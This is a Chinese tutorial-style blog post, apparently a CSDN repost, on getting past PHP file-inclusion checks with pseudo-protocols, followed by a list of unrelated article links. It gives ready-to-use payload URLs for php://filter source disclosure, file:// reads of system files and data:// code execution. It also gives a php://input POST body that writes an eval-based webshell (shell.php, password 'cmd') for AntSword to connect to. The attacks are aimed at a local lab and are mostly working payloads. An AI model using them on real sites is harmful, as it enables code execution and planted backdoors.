当前位置: 首页 > news >正文

文件包含绕过的小点总结(2)

我们在phpstudy的网站根目录上传了upload.php,详细可见上一篇总结。

文件包含漏洞的小点总结-CSDN博客

常见的PHP支持的伪协议:

file://  访问本地文件系统
http://  访问HTTP(S)网址
ftp://   访问FTP(s)URL(s)
php://   访问各个输入输出流
zlib://  压缩流
data://  数据(RFC  2397)
glob://  查找匹配的文件路径模式
phar://  PHP归档
ssh2://  secure shell 2
rar://   RAR
ogg://   音频流
expect://  处理交互式的流

①http://,https:// 用于远程包含,只读方式访问文件或资源

②filter

例如访问:http://localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

显示:
PD9waHANCiRmaWxlbmFtZT0kX0dFVFsnZmlsZW5hbWUnXTsNCmluY2x1ZGUoJGZpbGVuYW1lKTsNCj8+

解码即可得到php内容

③input

例如访问http://localhost/upload.php?filename=php://input

在post body中写<?php phpinfo();?>或者写入 <?php system('ver');?>或者写入<?php system('ipconfig');?>等系统执行命令。

或者写入一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd']);?>')?>

发送POST请求后上传成功,使用蚁剑进行连接:

url:http://localhost/shell.php

密码:cmd

④file 用于访问本地文件系统,file://需要的是完整的路径

访问hosts文件:

http://localhost/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

⑤data

访问:http://localhost/upload.php?filename=data://text/plain,<?php phpinfo();?>

有时需要将php代码进行base64编码,那么就要写为:

http://localhost/include/upload.php?filename=data://text/plain;base64,..........(后面写php代码的编码内容)

相关文章:

  • 灰色预测算法专业教程详解
  • 终端SSH连接工具SecureCRT安装和连接Linux
  • vLLM 启动 GGUF 模型踩坑记:从报错到 100% GPU 占用的原因解析
  • 主流Web3公链的核心区别对比
  • Review --- JVM
  • DEBUG:file命令
  • 【Unity】处理文字显示不全的问题
  • 2023第十四届蓝桥杯大赛软件赛省赛C/C++ 大学 B 组(真题题解)(C++/Java题解)
  • freecad二开 xmlrpc接口api qtgui
  • 使用夜莺 + Elasticsearch进行日志收集和处理
  • 【论文阅读】Self-Correcting Clustering
  • 深入剖析二叉树路径和问题:从暴力法到前缀和优化(C++实现)
  • 自然语言处理(29:(终章Attention 5.)Attention的应用)(完结)
  • HTML实现图片上添加水印的工具
  • Spring 相关知识点
  • DirectX修复工具(DirectX Repair)官网免费下载
  • 科研论文word格式参考文献自动编码脚本
  • 力扣HOT100之链表:141. 环形链表
  • 数据结构4
  • 论文笔记:Instruction-Tuning Llama-3-8B Excels in City-Scale MobilityPrediction
  • 申请域名后怎么做网站/大连网站建设费用
  • 网站建设有关要求/百度下载安装到手机
  • 济南网站建设咨 询小七/电子商务沙盘seo关键词
  • 公司在网站做广告怎么做分录/怎样下载优化大师
  • 接推广网站/快速排名优化系统
  • 中国制造网外贸站/建设网站